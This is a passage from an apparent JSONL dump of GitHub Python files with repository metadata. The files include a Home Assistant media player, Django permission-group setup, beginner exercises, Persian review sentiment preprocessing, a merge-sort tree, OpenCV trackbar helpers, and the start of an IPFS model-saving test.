async_media_next_track(self):\n self._attr_state = STATE_PAUSED\n await self.cloud_music.async_media_next_track(self, self._attr_shuffle)\n\n async def async_media_previous_track(self):\n self._attr_state = STATE_PAUSED\n await self.cloud_music.async_media_previous_track(self, self._attr_shuffle)\n\n async def async_media_seek(self, position):\n await self.async_call('media_seek', { 'seek_position': position })\n\n async def async_media_stop(self):\n await self.async_call('media_stop')\n\n # 更新属性\n async def async_update(self):\n if self.entity_id is not None:\n state = self.hass.states.get(self.entity_id)\n entities = state.attributes.get('media_player')\n if entities is not None:\n # 兼容初版\n if isinstance(entities, str):\n entities = [ entities ]\n\n if len(entities) > 0:\n self._attr_sound_mode_list = entities\n if self._attr_sound_mode is None:\n self._attr_sound_mode = entities[0]\n\n # 调用服务\n async def async_call(self, service, service_data={}):\n media_player = self.media_player\n if media_player is not None:\n service_data.update({ 'entity_id': media_player.entity_id })\n await self.hass.services.async_call('media_player', service, service_data)","repo_name":"zhxtl/ha_cloud_music","sub_path":"custom_components/ha_cloud_music/media_player.py","file_name":"media_player.py","file_ext":"py","file_size_in_byte":9061,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"11384450421","text":"from django.core.management import BaseCommand\nfrom django.contrib.auth.models import Group, Permission\n\nPERMISSIONS = [\"add\", \"view\", \"change\", \"delete\"]\nMODELS = [\"appointment\", \"service\", \"category\", \"appointment_timespan\", \"hairmodel\", \"user\"]\nVIEW_MODELS = [\"appointment\", \"service\", \"category\", \"appointment_timespan\", \"hairmodel\"]\n\nclass Command(BaseCommand):\n def handle(self,*args, **kwargs):\n teacher, created = Group.objects.get_or_create(name=\"teacher\")\n for model in MODELS:\n for permission in PERMISSIONS:\n name = f\"{permission}_{model}\"\n add_permission = Permission.objects.get(codename=name)\n teacher.permissions.add(add_permission)\n student, created = Group.objects.get_or_create(name=\"student\")\n for model in VIEW_MODELS:\n name = f\"view_{model}\"\n add_permission = Permission.objects.get(codename=name)\n student.permissions.add(add_permission)\n\n","repo_name":"CareeriaStudentsTeam3/ScrumPractiseProject","sub_path":"backend/appointments/management/commands/groups_create.py","file_name":"groups_create.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70525826166","text":"def fichaJogador(nome='desconhecido', gols=0):\n \"\"\"\n Função que retorna o nome do jogador e quantos gols ele fez.\n :param nome: string que recebe o nome do jogador\n :param gols: int que recebe quantos gols o jogador fez\n :return: string no formato: 'O jogador fez x gols'.\n \"\"\"\n return f'O jogador {nome} fez {gols} gols.'\n\n\njogador = []\njogador = input('Digite as informações do jogador: ').split(' ')\nif len(jogador) == 1:\n if jogador[0].isnumeric():\n print(fichaJogador(gols=int(jogador[0])))\n else:\n if len(jogador[0]):\n print(fichaJogador(jogador[0]))\n else:\n print(fichaJogador())\nelif len(jogador) == 2:\n if not jogador[1].isnumeric():\n print(fichaJogador(jogador[0]))\n else:\n print(fichaJogador(jogador[0], jogador[1]))\n\n","repo_name":"gabriel-valenga/CursoEmVideoPython","sub_path":"ex104.py","file_name":"ex104.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"34940339336","text":"from Abstractions.Products import Products\nfrom Models.ProductModel import ProductModel\nfrom Models.VendorSessionModel import VendorSessionModel\n\n\nclass ProductsImplementation(Products):\n\n def __init__(self, username):\n self.product_model = ProductModel()\n self.vendor_session = VendorSessionModel()\n self._username = username\n\n def add_product(self, product_name, product_type, available_quantity, unit_price):\n # check if the vendor is logged in, then add the product and return True else Return False\n if self.vendor_session.check_login(self._username):\n if self.product_model.add_product(product_name, product_type, available_quantity, unit_price):\n #print(\"product \"+product_name+\" added successfully\")\n return True\n else:\n print(\"error in adding product \" + product_name + \" to the product db\")\n return False\n else:\n print(\"vendor not logged in..could not add product\")\n return False\n\n def search_product_by_name(self, product_name):\n # Search if the product is available in the dictionary if the vendor is authorized to access else return False\n # If product is available then return product\n if self.vendor_session.check_login(self._username):\n return( self.product_model.search_product(product_name))\n else:\n print(\"Vendor not logged in\")\n return False\n\n def get_all_products(self):\n # Check if the vendor can retrieve all the product if not return False\n # otherwise return all the products\n\n if self.vendor_session.check_login(self._username):\n dict_all_products = self.product_model.all_products()\n return dict_all_products\n else:\n print(\"Vendor not logged in\")\n return False\n","repo_name":"jjophy/ECommerce-Vendor-Management-system","sub_path":"Implementation/ProductsImplementation.py","file_name":"ProductsImplementation.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"74844852085","text":"import torch\nfrom torchtext.vocab import GloVe\nimport pandas as pd\n\n# Load CSV data\ndata_path = \"sample_data.csv\"\ndf = pd.read_csv(data_path)\nOS = df[\"OS\"].tolist()\n\n# Load GloVe\n# The '6B' indicates the dataset from Wikipedia 2014 + Gigaword 5 (6B tokens)\n# '100d' indicates each word is represented by a 100-dimensional vector\nglove = GloVe(name='6B', dim=100)\n\n# Assuming 'OS' is the column with words you want to embed\nembedded_OS = []\n\nfor word in OS:\n # print(word)\n # Check if the word is in the vocabulary, otherwise use a zero vector or special token\n if word in glove.stoi:\n embedded_OS.append(glove.vectors[glove.stoi[word]])\n print(\"hi\")\n else:\n # You can choose to either use a zero vector for unknown words\n embedded_OS.append(torch.zeros(100))\n\n# Now embedded_OS is a list of tensors, each tensor is the GloVe embedding of the word\nprint(OS[6])\nprint(OS[8])\nprint(embedded_OS[8]) # This will print the GloVe embedding of the first word in the OS list\n\n# Optional: convert list of tensors to a tensor\n# You may want to do this if you're passing all the embeddings at once to a PyTorch model\nembedded_OS_tensor = torch.stack(embedded_OS)\nprint(embedded_OS_tensor.shape) # This should show (number of words, 100)\n","repo_name":"ambroseling/NucleAIse","sub_path":"preprocessing/encoding_OS.py","file_name":"encoding_OS.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"34163023480","text":"import parser\nimport Serial_Approach\n\nFILE_NAMES = [\"a_example.txt\", \"b_read_on.txt\", \"c_incunabula.txt\", \"e_so_many_books.txt\", \"f_libraries_of_the_world.txt\", \"d_tough_choices.txt\"]\nOUTPUT_FILES = [\"submission_a.txt\", \"submission_b.txt\", \"submission_c.txt\", \"submission_e.txt\", \"submission_f.txt\", \"submission_d.txt\"]\n\nfor name,out in zip(FILE_NAMES, OUTPUT_FILES):\n f = open(name, \"r\") \n input = parser.parse_input(f)\n libs = parser.get_libraries(input)\n scores = parser.get_scores(input)\n deadline = parser.get_deadline(input)\n\n lib_order = Serial_Approach.libraryOrder(libs, deadline, scores)\n parser.output(lib_order, out)\n\n\n\n\n","repo_name":"jorensjongers/HASHCODE2020","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"2798236803","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 6 22:22:00 2021\r\n\r\nindexs of specific value in array\r\n\r\n@author: pc\r\n\"\"\"\r\n\r\ndef solution(L, x):\r\n \r\n a=L\r\n answer=[]\r\n cp=0\r\n \r\n while x in a:\r\n if len(answer)==0:\r\n p=a.index(x)\r\n answer.append(p)\r\n a=a[p+1:]\r\n cp=p+1\r\n else:\r\n p=a.index(x)\r\n answer.append(p+cp)\r\n a=a[p+1:]\r\n cp=cp+p+1\r\n \r\n if len(answer)==0:\r\n answer=[-1]\r\n \r\n return answer\r\n","repo_name":"Minsoo1036/Algorithm-Study","sub_path":"algorithm02.py","file_name":"algorithm02.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"15028668739","text":"import pygame\r\nfrom pygame.locals import *\r\n\r\npygame.init()\r\n\r\nscreen = pygame.display.set_mode((400,500))\r\npygame.display.set_caption(\"Racer\")\r\n\r\nFPS = pygame.time.Clock()\r\nFPS.tick(60)\r\nrunning = True\r\n\r\nwhile running:\r\n\r\n pygame.display.update()\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n\r\npygame.quit()\r\n\r\n\r\n\r\n","repo_name":"danchikn/PP2","sub_path":"week8/1racer.py","file_name":"1racer.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70134428406","text":"from array import *\n\narray1 = array('i', [10, 20, 30, 40, 50])\n\narray2 = array(array1.typecode, (a * 5 for a in array1))\n\n# array 2 contains elements that are 5 times the value of array1 elements\n\nprint(array2)\n\nn1 = len(array1)\nprint(n1)\n","repo_name":"AdityaVed95/sem3_python","sub_path":"py1/CorePython/Arrays/3_modifying_each_element_to_generate_new_array.py","file_name":"3_modifying_each_element_to_generate_new_array.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"18948224768","text":"from bisect import bisect\nfrom heapq import merge\n\ndef construct(N, A):\n N0 = 2**(N-1).bit_length()\n data = [None]*(2*N0)\n for i, a in enumerate(A):\n data[N0-1+i] = [a]\n for i in range(N, N0):\n data[N0-1+i] = []\n for i in range(N0-2, -1, -1):\n *data[i], = merge(data[2*i+1], data[2*i+2])\n return N0, data\n\n# count elements A_i s.t. A_i <= k for i in [l, r)\ndef query1(N0, data, l, r, k):\n L = l + N0; R = r + N0\n s = 0\n while L < R:\n if R & 1:\n R -= 1\n s += bisect(data[R-1], k-1)\n if L & 1:\n s += bisect(data[L-1], k-1)\n L += 1\n L >>= 1; R >>= 1\n return s\n\n# count elements A_i s.t. a <= A_i < b for i in [l, r)\ndef query(N0, data, l, r, a, b):\n L = l + N0; R = r + N0\n s = 0\n while L < R:\n if R & 1:\n R -= 1\n s += bisect(data[R-1], b-1) - bisect(data[R-1], a-1)\n if L & 1:\n s += bisect(data[L-1], b-1) - bisect(data[L-1], a-1)\n L += 1\n L >>= 1; R >>= 1\n return s\n\n\nN = 6\nA = [6, 1, 4, 5, 3, 2]\nN0, data = construct(N, A)\nprint(query1(N0, data, 2, 5, 4))\n# => \"1\"\nprint(query(N0, data, 1, 4, 3, 5))\n# => \"1\"\n","repo_name":"tjkendev/procon-library","sub_path":"python/range_query/merge-sort-tree.py","file_name":"merge-sort-tree.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"76"} +{"seq_id":"43071647053","text":"# ///////////////////////////////////////////////////////////////\n#\n# BY: WANDERSON M.PIMENTA\n# PROJECT MADE WITH: Qt Designer and PySide6\n# V: 1.0.0\n#\n# This project can be used freely for all uses, as long as they maintain the\n# respective credits only in the Python scripts, any information in the visual\n# interface (GUI) can be modified without any implication.\n#\n# There are limitations on Qt licenses if you want to use your products\n# commercially, I recommend reading them on the official website:\n# https://doc.qt.io/qtforpython/licenses.html\n#\n# ///////////////////////////////////////////////////////////////\n\n# IMPORT\n# ///////////////////////////////////////////////////////////////\n# Packages\nfrom app.packages.pyside_or_pyqt import *\n# Modules\nimport app.modules.ui_functions.functions as ui_functions\nfrom app.modules.app_settings.settings import *\nimport os\n\n# TOOLTIP / LABEL StyleSheet\nstyle_tooltip = \"\"\" \nQLabel {\t\t\n\tbackground-color: #0b0b0c;\t\n\tcolor: rgb(230, 230, 230);\n\tpadding-left: 10px;\n\tpadding-right: 10px;\n\tborder-radius: 17px;\n border: 1px solid #2f3032;\n border-left: 3px solid #bdff00;\n font: 800 9pt \"Segoe UI\";\n}\n\"\"\"\n\n# CUSTOM LEFT MENU\nclass LeftMenuButton(QWidget):\n # SIGNALS\n clicked = Signal()\n released = Signal()\n\n def __init__(self, parent, name, icon, tooltip):\n QWidget.__init__(self)\n # APP PATH\n app_path = os.path.abspath(os.getcwd())\n icon_path = os.path.join(app_path, icon)\n\n # GET SETTINGS\n settings = Settings()\n self.settings = settings.items\n\n # DEFAULT PARAMETERS\n self.width = 40\n self.height = 40\n self.pos_x = 0\n self.pos_y = 0\n self.border_radius = 10\n self.parent = parent\n self.setGeometry(0, 0, self.width, self.height)\n self.setMinimumSize(self.width, self.height)\n self.setCursor(Qt.PointingHandCursor)\n self.setObjectName(name)\n \n # BG COLORS\n self.color_default = QColor(self.settings[\"left_menu\"][\"color\"])\n self.color_hover = QColor(self.settings[\"left_menu\"][\"color_hover\"])\n self.color_pressed = QColor(self.settings[\"left_menu\"][\"color_pressed\"])\n self._set_color = self.color_default\n\n # ICON\n self.icon_color = QColor(0xE6E6E6)\n self.icon_color_pressed = QColor(0x151617)\n self._set_icon_path = icon_path \n self._set_icon_color = self.icon_color\n\n # TOOLTIP\n self.tooltip_text = tooltip\n self.tooltip = _ToolTip(parent, tooltip)\n self.tooltip.hide()\n\n # PAINT EVENT\n # Responsible for painting the button, as well as the icon\n def paintEvent(self, event):\n # PAINTER\n paint = QPainter()\n paint.begin(self)\n paint.setRenderHint(QPainter.RenderHint.Antialiasing)\n \n # BRUSH\n brush = QBrush(self._set_color)\n\n # CREATE RECTANGLE\n rect = QRect(0, 0, self.width, self.height)\n paint.setPen(Qt.NoPen)\n paint.setBrush(brush)\n paint.drawRoundedRect(rect, self.border_radius, self.border_radius)\n\n # DRAW ICONS\n self.icon_paint(paint, self._set_icon_path, rect)\n\n # END PAINTER\n paint.end()\n\n # DRAW ICON WITH COLORS\n def icon_paint(self, qp, image, rect):\n icon = QPixmap(image)\n painter = QPainter(icon)\n painter.setCompositionMode(QPainter.CompositionMode_SourceIn)\n painter.fillRect(icon.rect(), self._set_icon_color)\n qp.drawPixmap(\n (rect.width() - icon.width()) / 2, \n (rect.height() - icon.height()) / 2,\n icon\n ) \n painter.end()\n\n # REPAINT BTN\n # Reaload/Repaint BTN\n def repaint_btn(self, event):\n if event == QEvent.Enter: \n self.repaint()\n if event == QEvent.Leave: \n self.repaint()\n if event == QEvent.MouseButtonPress:\n self.repaint()\n if event == QEvent.MouseButtonRelease: \n self.repaint()\n\n # CHANGE STYLES\n # Functions with custom styles\n def change_style(self, event):\n if event == QEvent.Enter:\n self._set_color = self.color_hover\n self.repaint_btn(event) \n elif event == QEvent.Leave:\n self._set_color = self.color_default\n self.repaint_btn(event) \n elif event == QEvent.MouseButtonPress: \n self._set_color = self.color_pressed\n self._set_icon_color = self.icon_color_pressed\n self.repaint_btn(event) \n elif event == QEvent.MouseButtonRelease:\n self._set_color = self.color_hover\n self._set_icon_color = self.icon_color\n self.repaint_btn(event) \n\n # MOVE TOOLTIP\n def move_tooltip(self):\n # GET MAIN WINDOW PARENT\n gp = self.mapToGlobal(QPoint(0, 0))\n\n # SET WIDGET TO GET POSTION\n # Return absolute position of widget inside app\n pos = self.parent.mapFromGlobal(gp)\n\n # FORMAT POSITION\n # Adjust tooltip position with offset\n pos_x = pos.x() + self.width + 12\n pos_y = pos.y() + (self.width - self.tooltip.height()) // 2\n\n # SET POSITION TO WIDGET\n # Move tooltip position\n self.tooltip.move(pos_x, pos_y) \n\n # MOUSE OVER\n # Event triggered when the mouse is over the BTN\n def enterEvent(self, event):\n self.change_style(QEvent.Enter)\n self.move_tooltip()\n self.tooltip.show()\n\n # MOUSE LEAVE\n # Event fired when the mouse leaves the BTN\n def leaveEvent(self, event):\n self.change_style(QEvent.Leave)\n self.move_tooltip()\n self.tooltip.hide()\n\n # MOUSE PRESS\n # Event triggered when the left button is pressed\n def mousePressEvent(self, event):\n if event.button() == Qt.LeftButton:\n self.change_style(QEvent.MouseButtonPress)\n # EMIT SIGNAL\n self.clicked.emit()\n # SET FOCUS\n self.setFocus()\n\n # MOUSE RELEASED\n # Event triggered after the mouse button is released\n def mouseReleaseEvent(self, event):\n if event.button() == Qt.LeftButton:\n self.change_style(QEvent.MouseButtonRelease)\n # EMIT SIGNAL\n self.released.emit()\n\nclass _ToolTip(QLabel):\n def __init__(self, parent, tooltip):\n QLabel.__init__(self)\n\n # LABEL SETUP\n self.setObjectName(u\"label_tooltip\")\n self.setStyleSheet(style_tooltip)\n self.setMinimumHeight(36)\n self.setParent(parent)\n self.setText(tooltip)\n self.adjustSize()\n\n # SET DROP SHADOW\n self.shadow = QGraphicsDropShadowEffect(self)\n self.shadow.setBlurRadius(15)\n self.shadow.setXOffset(0)\n self.shadow.setYOffset(0)\n self.shadow.setColor(QColor(0, 0, 0, 160))\n self.setGraphicsEffect(self.shadow)\n\n # SET OPACITY\n self.opacity = QGraphicsOpacityEffect(self)\n self.opacity.setOpacity(0.85)\n self.setGraphicsEffect(self.opacity)\n\n \n","repo_name":"Wanderson-Magalhaes/PyBlackBox_Qt_Widgets_PySide6_Or_PyQt6_v1.0.0","sub_path":"app/packages/widgets/left_menu_button/left_menu_button.py","file_name":"left_menu_button.py","file_ext":"py","file_size_in_byte":7116,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"76"} +{"seq_id":"70705730167","text":"\"\"\"\nusage: threshold_custom = tb.SimpleTrackbar(img, \"ImgThresh\")\n\"\"\"\nimport cv2\nimport numpy as np\n\n\ndef empty_function(*arg):\n pass\n\n\ndef SimpleTrackbar(img, win_name):\n trackbar_name = win_name + \"Trackbar\"\n\n cv2.namedWindow(win_name)\n cv2.createTrackbar(trackbar_name, win_name, 0, 255, empty_function)\n\n while True:\n trackbar_pos = cv2.getTrackbarPos(trackbar_name, win_name)\n _, img_th = cv2.threshold(img, trackbar_pos, 255, cv2.THRESH_BINARY)\n cv2.imshow(win_name, img_th)\n\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"c\"):\n break\n\n cv2.destroyAllWindows()\n return trackbar_pos\n\n\ndef CannyTrackbar(img, win_name):\n trackbar_name = win_name + \"Trackbar\"\n\n cv2.namedWindow(win_name)\n cv2.resizeWindow(win_name, 500,100)\n cv2.createTrackbar(\"1\", win_name, 0, 255, empty_function)\n cv2.createTrackbar(\"2\", win_name, 0, 255, empty_function)\n cv2.createTrackbar(\"3\", win_name, 0, 255, empty_function)\n cv2.createTrackbar(\"4\", win_name, 0, 255, empty_function)\n\n while True:\n trackbar_pos1 = cv2.getTrackbarPos(\"1\", win_name)\n trackbar_pos2 = cv2.getTrackbarPos(\"2\", win_name)\n trackbar_pos3 = cv2.getTrackbarPos(\"3\", win_name)\n trackbar_pos4 = cv2.getTrackbarPos(\"4\", win_name)\n img_blurred = cv2.GaussianBlur(img.copy(), (trackbar_pos3*2+1,trackbar_pos3*2+1), trackbar_pos4)\n canny = cv2.Canny(img_blurred, trackbar_pos1, trackbar_pos2)\n cv2.imshow(win_name, canny)\n\n key = cv2.waitKey(1) & 0xFF\n if key == ord(\"x\"):\n break\n\n cv2.destroyAllWindows()\n return canny\n\n\ndef HoughTrackbar(canny, img_org, win_name):\n trackbar_name = win_name + \"Trackbar\"\n\n cv2.namedWindow(win_name)\n cv2.resizeWindow(win_name, 500,100)\n cv2.createTrackbar(\"1\", win_name, 1, 255, empty_function)\n cv2.createTrackbar(\"2\", win_name, 1, 255, empty_function)\n cv2.createTrackbar(\"3\", win_name, 1, 255, empty_function)\n cv2.createTrackbar(\"4\", win_name, 1, 255, empty_function)\n cv2.createTrackbar(\"5\", win_name, 1, 255, empty_function)\n cv2.createTrackbar(\"6\", win_name, 40, 255, empty_function)\n cv2.createTrackbar(\"7\", win_name, 50, 255, empty_function)\n\n while True:\n img_org_copy = img_org.copy()\n trackbar_pos1 = cv2.getTrackbarPos(\"1\", win_name)\n trackbar_pos2 = cv2.getTrackbarPos(\"2\", win_name)\n trackbar_pos3 = cv2.getTrackbarPos(\"3\", win_name)\n trackbar_pos4 = cv2.getTrackbarPos(\"4\", win_name)\n trackbar_pos5 = cv2.getTrackbarPos(\"5\", win_name)\n trackbar_pos6 = cv2.getTrackbarPos(\"6\", win_name)\n trackbar_pos7 = cv2.getTrackbarPos(\"7\", win_name)\n circles = cv2.HoughCircles(canny,cv2.HOUGH_GRADIENT, trackbar_pos1+1, trackbar_pos2+1, trackbar_pos3+1, trackbar_pos4+1, trackbar_pos5+1, trackbar_pos6+1, trackbar_pos7+1)\n key = cv2.waitKey(0) & 0xFF\n if circles == None:\n img_org = img_org_copy\n continue\n circles = np.uint16(np.around(circles))\n for i in circles[0,:]:\n # draw the outer circle\n cv2.circle(img_org,(i[0],i[1]),i[2],(0,255,0),2)\n # draw the center of the circle\n cv2.circle(img_org,(i[0],i[1]),2,(0,0,255),3)\n\n cv2.imshow('detected circles',img_org)\n if key == ord(\"c\"):\n break\n img_org = img_org_copy\n \n return circles\n","repo_name":"m3h0w/transparent_blobs_detection","sub_path":"trackbar.py","file_name":"trackbar.py","file_ext":"py","file_size_in_byte":3422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"3964591216","text":"rows, cols = (int(x) for x in input().split(\", \"))\r\nmatrix = []\r\nfor _ in range(rows):\r\n matrix.append([int(x) for x in input().split(\", \")])\r\nfirst_two = []\r\nsecond_two = []\r\ntotal = 0\r\nfor row in range(rows - 1):\r\n for index in range(cols - 1):\r\n sum_square = matrix[row][index] + matrix[row + 1][index] + matrix[row][index + 1] + matrix[row + 1][index + 1]\r\n if sum_square > total:\r\n total = sum_square\r\n first_two = [matrix[row][index], matrix[row][index + 1]]\r\n second_two = [matrix[row + 1][index], matrix[row + 1][index + 1]]\r\nresult = sum(first_two) + sum(second_two)\r\nprint(*first_two)\r\nprint(*second_two)\r\nprint(result)","repo_name":"gajev/python_advanced","sub_path":"06_multidimensional_lists/square_with_maximum_sum.py","file_name":"square_with_maximum_sum.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"35668436253","text":"def voitis_nurkademangu(t):\n if t[0][0] == \"X\" and t[0][4] == \"X\" and t[4][0] == \"X\" and t[4][4] == \"X\":\n return True\n else:\n return False\n\ndef x_peadiagonaalil(t):\n x_arv = 0\n for i in range(5):\n if t[i][i] == \"X\":\n x_arv = x_arv + 1\n return x_arv\n\ndef x_korvaldiagonaalil(t):\n x_arv = 0\n for i in range(5):\n if t[i][4-i] == \"X\":\n x_arv = x_arv + 1\n return x_arv\n\ndef voitis_diagonaalidemangu(t):\n if x_korvaldiagonaalil(t) == 5 and x_peadiagonaalil(t) == 5:\n return True\n else:\n return False\n\ndef voitis_taismangu(t):\n for i in t:\n for v in i:\n if v != \"X\":\n return False\n\n return True\n\n#####################################################################################\n\n#Nurkademäng\n\ndef voitis_nurkademangu(i):\n l = 0\n f = 0\n for a in i:\n if l == 0:\n if a[0] == \"X\" and a[4] == \"X\":\n f += 1\n if l == 4:\n if a[0] == \"X\" and a[4] == \"X\":\n f += 1\n l += 1\n if f == 2:\n return True\n else:\n return False\n#Peadiagonaal\n \ndef x_peadiagonaalil(i):\n l = 0\n f = 0\n for a in i:\n if a[l] == \"X\":\n f += 1\n l += 1\n return int(f)\n#Kõrvaldiagonaal\n\ndef x_korvaldiagonaalil(i):\n l = 4\n f = 0\n for a in i:\n if a[l] == \"X\":\n f += 1\n l -= 1\n return int(f)\n#Diagonaalidemäng\n\ndef voitis_diagonaalidemangu(i):\n if x_peadiagonaalil(i) + x_korvaldiagonaalil(i) == 10:\n return True\n else:\n return False\n#Täismäng\n\ndef voitis_taismangu(i):\n g = 0\n for a in i:\n f = 0\n f = a.count(\"X\")\n g += f\n if g == 25:\n return True\n else:\n return False\n","repo_name":"PythonLebo/Programmeerimine-Python","sub_path":"Tarkvaraarendus (VG-1)/3.3d kas on võitnud.py","file_name":"3.3d kas on võitnud.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"20482385501","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Apr 30 11:56:48 2020\r\n\r\n@author: Negar\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nimport sklearn.preprocessing as preprocessing\r\nimport sklearn.model_selection as model_selection\r\nimport nltk\r\nimport tensorflow as tf\r\nfrom collections import Counter\r\nimport csv, re, pickle\r\n\r\nimport matplotlib as plt\r\n\r\nimport fasttext\r\nimport hazm\r\n\r\ndf=pd.read_csv('E:/Training/DSA/FinalProject/nk-1/nk.csv')\r\ndf.head()\r\nnp.sum(df.isna())\r\ndf.describe()\r\ndf.columns\r\nreviews = df['comment']\r\nadv = df['advantages']\r\ndisadv=df['disadvantages']\r\nrate = df['likes']\r\nlabels = df['recommend']\r\n\r\n\r\nlabels1 = np.array([1 if each==\"recommended\" else -1 if each==\"not_recommended\" else 0 for each in labels])\r\n#cleaning dataset\r\nwords=[]\r\nall_text = ''\r\n\r\nfor t in range (len(reviews)):\r\n\ttext = reviews[t]\r\n\ttext = re.sub(r'[^a-zA-Z0-9آ-ی۰-۹ ]', ' ', str(text))\r\n\tall_text += text\r\n\tall_text += ' '\r\n\twordsInText = text.split()\r\n\tfor word in wordsInText:\r\n\t\tif word != ' ' or word != '':\r\n\t\t\twords.append(word)\r\n\r\n\r\ncounts = Counter(words)\r\nvocab = sorted(counts, key=counts.get, reverse=True)\r\nvocab_to_int = {word: ii for ii, word in enumerate(vocab, 1)}\r\n\r\nwith open(\"mySavedDict.txt\", \"wb\") as myFile:\r\n pickle.dump(vocab_to_int, myFile)\r\n\r\n\r\nwith open(\"mySavedDict.txt\", \"rb\") as myFile:\r\n myNewPulledInDictionary = pickle.load(myFile)\r\n\r\nprint (myNewPulledInDictionary)\r\n\r\n\r\nreviews_ints = []\r\nfor each in reviews:\r\n\tprint (each)\r\n\t#each = each.replace('\\u200c',' ')\r\n\teach = re.sub(r'[^a-zA-Z0-9آ-ی۰-۹ ]', ' ', str(each))\r\n\treviews_ints.append([vocab_to_int[word] for word in each.split()])\r\n\r\n\r\n'''\r\nreview_lens = Counter([len(x) for x in reviews_ints])\r\nprint(\"Zero-length reviews: {}\".format(review_lens[0]))\r\nprint(\"Maximum review length: {}\".format(max(review_lens)))\r\n'''\r\n\r\nseq_len = 400\r\nfeatures = np.zeros((len(reviews), seq_len), dtype=int)\r\nfor i, row in enumerate(reviews_ints):\r\n if(len(row)!=0):\r\n print (i , row)\r\n \tfeatures[i, -len(row):] = np.array(row)[:seq_len]\r\n else:\r\n print (len(row),'****')\r\nsplit_frac = 0.9\r\nsplit_idx = int(len(features)*split_frac)\r\ntrain_x, val_x = features[:split_idx], features[split_idx:]\r\ntrain_y, val_y = labels[:split_idx], labels[split_idx:]\r\n\r\ntest_idx = int(len(val_x)*0.5)\r\nval_x1, X_test = val_x[:test_idx], val_x[test_idx:]\r\nval_y1, y_test = val_y[:test_idx], val_y[test_idx:]\r\n\r\nprint(\"\\t\\t\\tFeature Shapes:\")\r\nprint(\"Train set: \\t\\t{}\".format(train_x.shape), \r\n \"\\nValidation set: \\t{}\".format(val_x.shape),\r\n \"\\nTest set: \\t\\t{}\".format(X_test.shape))\r\n\r\n\r\nfrom sklearn.linear_model import LogisticRegression,LinearRegression\r\nfrom sklearn.preprocessing import scale,LabelEncoder\r\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis,QuadraticDiscriminantAnalysis\r\nfrom sklearn.linear_modelel import LogisticRegression,LinearRegression\r\n#from sklearn import metrics\r\nfrom sklearn.ensemble import RandomForestClassifier,AdaBoostClassifier,BaggingClassifier\r\nfrom sklearn import svm\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn import tree\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\n\r\ndectree = tree.DecisionTreeClassifier(max_depth=10)\r\nbag = BaggingClassifier(n_estimators=100,oob_score=True)\r\nrf = RandomForestClassifier(n_estimators=1000,oob_score=True,max_features='auto')\r\nboost = AdaBoostClassifier(n_estimators=1000)\r\n\r\ndectree.fit(train_x,train_y)\r\ndectree.feature_importances_\r\nbag.fit(train_x,train_y)\r\nrf.fit(train_x,train_y)\r\nboost.fit(train_x,train_y)\r\nprint('Tree','Bagging','Boosting','Random Forrest\\n',np.round_(dectree.score(X_test,y_test),2),np.round_(bag.score(X_test,y_test),2),np.round_(boost.score(X_test,y_test),2),np.round_(rf.score(X_test,y_test),2),'\\nTraining error\\n',np.round_(dectree.score(train_x,train_y),2),np.round_(bag.score(train_x,train_y),2),np.round_(boost.score(train_x,train_y),2),np.round_(rf.score(train_x,train_y),2))\r\nprint('RF cross-val error:\\n',1-rf.oob_score_)\r\nprint('Bagging cross-val error:\\n',1-bag.oob_score_)\r\nprint(pd.DataFrame(rf.feature_importances_,index=df.columns[:-1],columns=['Mean Decrease in Gini']))\r\n\r\n\r\n","repo_name":"NegarMirderikvand/Python_Projects","sub_path":"NK.py","file_name":"NK.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"28232598439","text":"import os\nimport tempfile\nimport pytest\nfrom tensorflow import keras\nfrom core.IPFS.ipfs import IPFS\n\n# Sample model for testing\ndef create_sample_model():\n model = keras.Sequential([\n keras.layers.Dense(64, activation='relu', input_shape=(10,)),\n keras.layers.Dense(32, activation='relu'),\n keras.layers.Dense(1, activation='linear')\n ])\n model.compile(optimizer='adam', loss='mse')\n return model\n\n@pytest.fixture(scope=\"module\")\ndef test_model():\n return create_sample_model()\n\n@pytest.fixture(scope=\"module\")\ndef test_saved_model_path(test_model):\n # Create a temporary directory and save the model to it\n with 